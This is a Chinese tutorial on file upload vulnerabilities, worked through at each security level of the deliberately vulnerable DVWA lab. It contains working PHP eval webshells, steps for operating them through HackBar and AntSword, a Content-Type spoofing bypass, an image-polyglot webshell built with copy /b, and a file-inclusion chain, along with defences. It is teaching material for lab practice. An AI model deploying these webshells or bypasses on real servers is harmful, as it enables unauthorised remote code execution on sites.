网安系列【7】之文件上传漏洞
文章目录
- 一 文件上传漏洞
- 1.1 后门文件
- 二 DVWA:文件上传low
- 2.1 上传木马文件
- 2.2 使用木马文件
- 2.2.1 方法一:Hacker插件
- 2.2.2 方法二:webshell管理工具(中国蚁剑)
- 2.2 防御策略
- 三 DVWA:文件上传medium
- 四 DVWA:文件上传high
- 五 DVWA:文件上传impossible

一 文件上传漏洞
- 文件上传漏洞:就是将客户端的文件上传到服务器的过程。如:上传的图片、pdf文件等。如果开发者没有对文件做严格的限制,就会导致安全隐患。
1.1 后门文件
- WebShell:是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,以达到控制网站服务器的目的。
- 一个原始而又简单的php一句话木马
<?php eval($_GET[ 'pass' ]);?>
- php的代码要写在里面,服务器才能认出来这是php代码,然后才去解析。
- @符号的意思是不报错,即使执行错误,也不报错
- eval将字符串当做PHP代码执行
二 DVWA:文件上传low
2.1 上传木马文件
- DVWA安全水平为low。webshell.php内容如下:
<?php @eval($_POST[ 'pass' ]);?>
../../hackable/uploads/webshell.php succesfully uploaded!
- 访问木马文件
http://192.168.171.130:4280/hackable/uploads/webshell.php
,显示如下内容
Warning: Undefined array key "pass" in /var/www/html/hackable/uploads/webshell.php on line 1
2.2 使用木马文件
2.2.1 方法一:Hacker插件
- 先安装插件,edge浏览器安装HackBar插件
- 在
http://192.168.171.130:4280/hackable/uploads/webshell.php
页面上打开检查(F12),然后选择HackBar插件,点击Load URL,选择Post数据负载,填写pass的具体值,如pass=phpinfo();
,最后点击执行。
2.2.2 方法二:webshell管理工具(中国蚁剑)
- 中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
- 中国蚁剑的使用需要两个部分:核心源码和加载器(win/mac/linux)。
- antSword 源码
- antSword 加载器
- 首次打开蚁剑加载器,点击初始化按钮选择一个空的目录作为工作目录,等待初始化完成,重新打开加载器,即可看到蚁剑的主界面,如果已经本地下载了蚁剑源代码,可以在选择工作目录时,直接选择目录作为工作目录。
- 下载源码和加载器,在软件目录下新建
project
文件夹,并将源代码文件放入其中。然后打开加载器,选择project目录
,进行初始化,然后重启加载器即可。
- 右键添加数据,填入木马文件的URL地址和连接密码(webshell[]包裹的字符串),最后,点击左上角的添加即可。
- 右键可以进入该后台的终端、文件管理等后门操作。
2.2 防御策略
- 限制文件上传类型 (不让上传php文件、只允许上传图片)。
- 上传文件重命名,让攻击者找不到自己传的文件。
- 限制文件上传大小。
- 压缩上传文件,破坏原本文件结构,导致木马失效。
- 把上传的文件存储在文件服务器或oss平台 (没存在原本的服务器上,传了也没用)。
三 DVWA:文件上传medium
// 获取文件的名称、类型、大小
$uplaaded_name = $_FILES[ 'uploaded' ]['name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// 限制上传类型必须是jpeg或png 大小必须小于100000 Byte/字节
if(($uploaded_type == "image/jpeg" || $Suploaded_type == "image/png")&& ($uploaded_size <100000 ))
- 渗透测试解决方法:
- 通过抓包,修改
requests
请求消息中的文件类型。使用burpsuite将postdata中的Content- Type: application/octet-stream
修改为Content-Type: image/jpeg
。
四 DVWA:文件上传high
// File information - 获取文件基本信息
$uploaded_name = $_FILES['uploaded']['name']; // 获取上传的文件名
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); // 获取上传的文件后缀名(从最后一个点之后截取)
$uploaded_size = $_FILES['uploaded']['size']; // 获取上传的文件大小(字节)
$uploaded_tmp = $_FILES['uploaded']['tmp_name']; // 获取上传文件在服务器临时文件夹的文件名// Is it an image? - 验证文件是否为合法图片
if ( // 条件1:限制文件后缀必须为 jpg/jpeg/png(不区分大小写)(strtolower($uploaded_ext) == "jpg" || strtolower($uploaded_ext) == "jpeg" || strtolower($uploaded_ext) == "png") && // 条件2:限制文件大小必须小于 100000 字节(约97.6KB)($uploaded_size < 100000) && // 条件3:通过 getimagesize() 验证是否为真实图片(检查文件头部信息,确保是图像格式)getimagesize($uploaded_tmp)
) {// 【此处省略文件上传/保存逻辑】// 若所有条件满足,则允许上传并处理文件
}
- 渗透测试解决方法:用真实的图片做木马,并上传。
copy /b x.jpg+webshell.php x_new.jpg
- 上传图片访问只会打开图片,不会解析webshell。以下包含php代码的的图片
- 解决方法:利用DVWA的文件包含漏洞组合利用[文件包含会把读取的文件当做PHP代码执行]。
http://192.168.171.130:4280/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/2.jpg
五 DVWA:文件上传impossible
// File Upload 防御 impossible 级别逻辑// 1. 生成安全的临时文件名(防止路径遍历和文件名伪装)
$temp_file .= DIRECTORY_SEPARATOR . md5(uniqid() . $uploaded_name) . '.' . $uploaded_ext;// 2. 多重验证:是否为合法图像文件
// Is it an image?
if ( // 条件1:验证文件后缀(限制为 jpg/jpeg/png,不区分大小写)(strtolower($uploaded_ext) == 'jpg' || strtolower($uploaded_ext) == 'jpeg' || strtolower($uploaded_ext) == 'png') && // 条件2:验证文件大小(小于 100000 字节,约97.6KB)($uploaded_size < 100000) && // 条件3:验证 MIME 类型(必须为 image/jpeg 或 image/png)($uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png') && // 条件4:验证图像元数据(通过 getimagesize 确认文件头部为真实图像格式)getimagesize($uploaded_tmp)
) {// 3. 图像重新编码:剥离元数据并生成新图像(核心安全措施)// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if ($uploaded_type == 'image/jpeg') {// 读取 JPEG 图像并重新编码保存(压缩质量100)$img = imagecreatefromjpeg($uploaded_tmp);imagejpeg($img, $temp_file, 100);} else {// 读取 PNG 图像并重新编码保存(压缩级别9)$img = imagecreatefrompng($uploaded_tmp);imagepng($img, $temp_file, 9);}imagedestroy($img); // 释放图像资源// 【后续文件保存/移动逻辑省略】
}